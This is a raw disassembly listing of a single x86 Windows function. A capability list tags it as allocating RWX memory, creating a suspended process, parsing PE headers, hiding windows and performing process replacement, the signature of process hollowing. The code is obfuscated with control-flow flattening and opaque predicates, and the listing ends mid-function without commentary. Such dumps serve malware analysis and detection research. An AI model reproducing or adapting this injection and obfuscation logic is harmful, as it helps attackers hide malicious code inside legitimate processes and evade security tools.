Function at 0x10002bd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x10035600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x110], 0x64fc6b48
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x8008b8ec
je 0x1000554d
jmp 0x10002c0c
mov eax, dword [ebp - 0x114]
sub eax, 0x819d2d6e
je 0x1000432a
jmp 0x10002c22
mov eax, dword [ebp - 0x114]
sub eax, 0x82028f4e
je 0x1000594b
jmp 0x10002c38
mov eax, dword [ebp - 0x114]
sub eax, 0x82e06ae9
je 0x10003fc0
jmp 0x10002c4e
mov eax, dword [ebp - 0x114]
sub eax, 0x83eb84dc
je 0x10004180
jmp 0x10002c64
mov eax, dword [ebp - 0x114]
sub eax, 0x84cc2f12
je 0x10004c0b
jmp 0x10002c7a
mov eax, dword [ebp - 0x114]
sub eax, 0x85da1e72
je 0x10003d99
jmp 0x10002c90
mov eax, dword [ebp - 0x114]
sub eax, 0x87e3c072
je 0x1000563a
jmp 0x10002ca6
mov eax, dword [ebp - 0x114]
sub eax, 0x8a2a05e3
je 0x10005939
jmp 0x10002cbc
mov eax, dword [ebp - 0x114]
sub eax, 0x8aceadf9
je 0x100048d6
jmp 0x10002cd2
mov eax, dword [ebp - 0x114]
sub eax, 0x8b190f39
je 0x10004fc9
jmp 0x10002ce8
mov eax, dword [ebp - 0x114]
sub eax, 0x8b7daf4c
je 0x10005162
jmp 0x10002cfe
mov eax, dword [ebp - 0x114]
sub eax, 0x8c1ae823
je 0x1000582c
jmp 0x10002d14
mov eax, dword [ebp - 0x114]
sub eax, 0x8cf91966
je 0x10003c12
jmp 0x10002d2a
mov eax, dword [ebp - 0x114]
sub eax, 0x8ea4ccf0
je 0x100058d9
jmp 0x10002d40
mov eax, dword [ebp - 0x114]
sub eax, 0x92e19d46
je 0x10005dc3
jmp 0x10002d56
mov eax, dword [ebp - 0x114]
sub eax, 0x93eac5c0
je 0x10005083
jmp 0x10002d6c
mov eax, dword [ebp - 0x114]
sub eax, 0x942572b1
je 0x100040d5
jmp 0x10002d82
mov eax, dword [ebp - 0x114]
sub eax, 0x951e9fec
je 0x1000585b
jmp 0x10002d98
mov eax, dword [ebp - 0x114]
sub eax, 0x97dd8f5a
je 0x10003bf1
jmp 0x10002dae
mov eax, dword [ebp - 0x114]
sub eax, 0x97eff44a
je 0x10004ef5
jmp 0x10002dc4
mov eax, dword [ebp - 0x114]
sub eax, 0x98db2f04
je 0x10005504
jmp 0x10002dda
mov eax, dword [ebp - 0x114]
sub eax, 0x990ad7f1
je 0x1000431b
jmp 0x10002df0
mov eax, dword [ebp - 0x114]
sub eax, 0x992fcf9b
je 0x10004537
jmp 0x10002e06
mov eax, dword [ebp - 0x114]
sub eax, 0x9a0ef9e4
je 0x100041f4
jmp 0x10002e1c
mov eax, dword [ebp - 0x114]
sub eax, 0x9a61c018
je 0x10005bf0
jmp 0x10002e32
mov eax, dword [ebp - 0x114]
sub eax, 0xa18056c4
je 0x10003837
jmp 0x10002e48
mov eax, dword [ebp - 0x114]
sub eax, 0xa2861d73
je 0x100045a5
jmp 0x10002e5e
mov eax, dword [ebp - 0x114]
sub eax, 0xa4d7d039
je 0x1000597e
jmp 0x10002e74
mov eax, dword [ebp - 0x114]
sub eax, 0xa7f79415
je 0x10004a0b
jmp 0x10002e8a
mov eax, dword [ebp - 0x114]
sub eax, 0xa8c30565
je 0x10005c62
jmp 0x10002ea0
mov eax, dword [ebp - 0x114]
sub eax, 0xab7a8a14
je 0x10005879
jmp 0x10002eb6
mov eax, dword [ebp - 0x114]
sub eax, 0xabe90c67
je 0x1000595a
jmp 0x10002ecc
mov eax, dword [ebp - 0x114]
sub eax, 0xad215d8f
je 0x10005b9f
jmp 0x10002ee2
mov eax, dword [ebp - 0x114]
sub eax, 0xb12197ca
je 0x10003ede
jmp 0x10002ef8
mov eax, dword [ebp - 0x114]
sub eax, 0xb243f724
je 0x100050f3
jmp 0x10002f0e
mov eax, dword [ebp - 0x114]
sub eax, 0xb51b3cff
je 0x1000483f
jmp 0x10002f24
mov eax, dword [ebp - 0x114]
sub eax, 0xc321acc3
je 0x100055e9
jmp 0x10002f3a
mov eax, dword [ebp - 0x114]
sub eax, 0xc491eaad
je 0x10005da9
jmp 0x10002f50
mov eax, dword [ebp - 0x114]
sub eax, 0xc4a969ca
je 0x100055b8
jmp 0x10002f66
mov eax, dword [ebp - 0x114]
sub eax, 0xc55c8a71
je 0x10004a34
jmp 0x10002f7c
mov eax, dword [ebp - 0x114]
sub eax, 0xc6356260
je 0x10005228
jmp 0x10002f92
mov eax, dword [ebp - 0x114]
sub eax, 0xc645b41b
je 0x10004d5f
jmp 0x10002fa8
mov eax, dword [ebp - 0x114]
sub eax, 0xc8c91bec
je 0x10004e02
jmp 0x10002fbe
mov eax, dword [ebp - 0x114]
sub eax, 0xcc20ced6
je 0x10003f57
jmp 0x10002fd4
mov eax, dword [ebp - 0x114]
sub eax, 0xcc2cb7fd
je 0x10005331
jmp 0x10002fea
mov eax, dword [ebp - 0x114]
sub eax, 0xccfb0d84
je 0x100055a9
jmp 0x10003000
mov eax, dword [ebp - 0x114]
sub eax, 0xce6b046a
je 0x10004b36
jmp 0x10003016
mov eax, dword [ebp - 0x114]
sub eax, 0xce92f3ee
je 0x10004b87
jmp 0x1000302c
mov eax, dword [ebp - 0x114]
sub eax, 0xd629822b
je 0x10003ae0
jmp 0x10003042
mov eax, dword [ebp - 0x114]
sub eax, 0xd72a59bb
je 0x100057fd
jmp 0x10003058
mov eax, dword [ebp - 0x114]
sub eax, 0xd8fe71c7
je 0x10005111
jmp 0x1000306e
mov eax, dword [ebp - 0x114]
sub eax, 0xdabe700f
je 0x1000592a
jmp 0x10003084
mov eax, dword [ebp - 0x114]
sub eax, 0xdf9ea1e6
je 0x10005d22
jmp 0x1000309a
mov eax, dword [ebp - 0x114]
sub eax, 0xe024229e
je 0x1000405f
jmp 0x100030b0
mov eax, dword [ebp - 0x114]
sub eax, 0xe1aaa29a
je 0x100056a5
jmp 0x100030c6
mov eax, dword [ebp - 0x114]
sub eax, 0xe2f228b6
je 0x100048b8
jmp 0x100030dc
mov eax, dword [ebp - 0x114]
sub eax, 0xe30c1eef
je 0x10004acb
jmp 0x100030f2
mov eax, dword [ebp - 0x114]
sub eax, 0xe8a02730
je 0x10004edb
jmp 0x10003108
mov eax, dword [ebp - 0x114]
sub eax, 0xe9050213
je 0x10004ecc
jmp 0x1000311e
mov eax, dword [ebp - 0x114]
sub eax, 0xea38656e
je 0x10003a72
jmp 0x10003134
mov eax, dword [ebp - 0x114]
sub eax, 0xebff8a00
je 0x10003c81
jmp 0x1000314a
mov eax, dword [ebp - 0x114]
sub eax, 0xec9d8265
je 0x10004f3e
jmp 0x10003160
mov eax, dword [ebp - 0x114]
sub eax, 0xed427658
je 0x10005a07
jmp 0x10003176
mov eax, dword [ebp - 0x114]
sub eax, 0xed490d8b
je 0x10005ca7
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xfc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x27913d78
sub edx, 1
sub edx, 0x27913d78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82028f4e
mov ecx, 0x270fa07d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xabe90c67
mov ecx, 0xd629822b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xb0]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xb5b2ef64
sub edx, 1
sub edx, 0xb5b2ef64
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xabe90c67
mov ecx, 0x47c94efd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0xa9]
mov eax, 0x35b865c0
mov ecx, 0x8cf91966
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xfc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100072d0
add esp, 0xc
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100072d0
add esp, 0xc
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x110], 0xebff8a00
jmp 0x10005e8f
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4d7d039
mov ecx, 0xf3594d21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x5c4844cb
jmp 0x10005e8f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x9c], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcada9b2
mov ecx, 0xcc20ced6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0xf4dfe933
jmp 0x10005e8f
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100023a0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xfc]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x110], 0xe024229e
jmp 0x10005e8f
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x2f98abc6
sub edx, 1
sub edx, 0x2f98abc6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5558923d
mov ecx, 0x942572b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x98]
cmp eax, 0
sete al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xdbd52d16
sub edx, 1
add edx, 0xdbd52d16
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5558923d
mov ecx, 0xfe1bb8b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x110], 0x5b47aa19
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xdcd777bf
sub edx, 1
sub edx, 0xdcd777bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed427658
mov ecx, 0x5e1e999e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x819d2d6e
jmp 0x10005e8f
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x58bf47c
sub edx, 1
sub edx, 0x58bf47c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x531f4bac
mov ecx, 0x6dfa540d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf0c5b5e5
mov ecx, 0xa2861d73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x81]
mov eax, 0x7f3be147
mov ecx, 0xf983f5c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x70]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x65], al
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xfb418c2e
sub edx, 1
add edx, 0xfb418c2e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad215d8f
mov ecx, 0xe2f228b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x65]
mov eax, 0xef6c73b1
mov ecx, 0x8aceadf9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x110], 0x41c1f03d
jmp 0x10005e8f
mov dword [ebp - 0x110], 0x6419a352
jmp 0x10005e8f
mov ecx, dword [ebp - 0x5c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x7fc111f3
jmp 0x10005e8f
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x6fec4295
sub edx, 1
sub edx, 0x6fec4295
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9c0a66
mov ecx, 0xb607f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x3998550e
sub edx, 1
sub edx, 0x3998550e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffa92231
mov ecx, 0xce92f3ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x58]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x376b9e55
sub edx, 1
sub edx, 0x376b9e55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xffa92231
mov ecx, 0x84cc2f12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x51]
mov eax, 0x3c49304d
mov ecx, 0x3a03aae8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov edx, dword [ebp - 0x48]
mov eax, 0xe1aaa29a
mov ecx, 0x4c6dce91
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
sub ecx, 0x530ad8b6
sub ecx, 8
add ecx, 0x530ad8b6
shr ecx, 1
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x29bafd1e
sub ecx, eax
add ecx, 0x29bafd1e
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x781f04e0
sub edx, 1
add edx, 0x781f04e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4c8400af
mov ecx, 0xe9050213
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0xe8a02730
jmp 0x10005e8f
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x110], 0x97eff44a
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8c30565
mov ecx, 0xec9d8265
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x39], al
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x8ab2c190
sub edx, 1
add edx, 0x8ab2c190
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa8c30565
mov ecx, 0x8b190f39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x39]
mov eax, 0xc4a969ca
mov ecx, 0xf6832524
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov ecx, dword [ebp - 0x38]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xb05c8be8
sub edx, 1
add edx, 0xb05c8be8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3087b0c5
mov ecx, 0xb243f724
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x31]
mov eax, 0x5c80bd34
mov ecx, 0xd8fe71c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xb5c0cb6b
sub edx, 1
sub edx, 0xb5c0cb6b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed490d8b
mov ecx, 0x8b7daf4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0xb9c18fcd
add ecx, eax
sub ecx, 0xb9c18fcd
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xbc]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
sub ecx, 0xb8fa9e04
add ecx, eax
add ecx, 0xb8fa9e04
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xe73b73dc
sub edx, 1
add edx, 0xe73b73dc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed490d8b
mov ecx, 0x10b818e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0x1b83a600
sub edx, 1
add edx, 0x1b83a600
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf9ea1e6
mov ecx, 0x22c0a9f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dl, byte [ebp - 0x29]
mov eax, 0x5df3ca97
mov ecx, 0x37f68280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc491eaad
mov ecx, 0x8008b8ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xd68b1c4
sub edx, 1
sub edx, 0xd68b1c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc491eaad
mov ecx, 0xccfb0d84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov dword [ebp - 0x110], 0xe8a02730
jmp 0x10005e8f
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
sub eax, 0xea5db201
add eax, ecx
add eax, 0xea5db201
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x110], 0xc321acc3
jmp 0x10005e8f
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xad235782
sub edx, 1
sub edx, 0xad235782
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92e19d46
mov ecx, 0x87e3c072
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10005e8f
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xb6b2b9ab
sub edx, 1
add edx, 0xb6b2b9ab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92e19d46
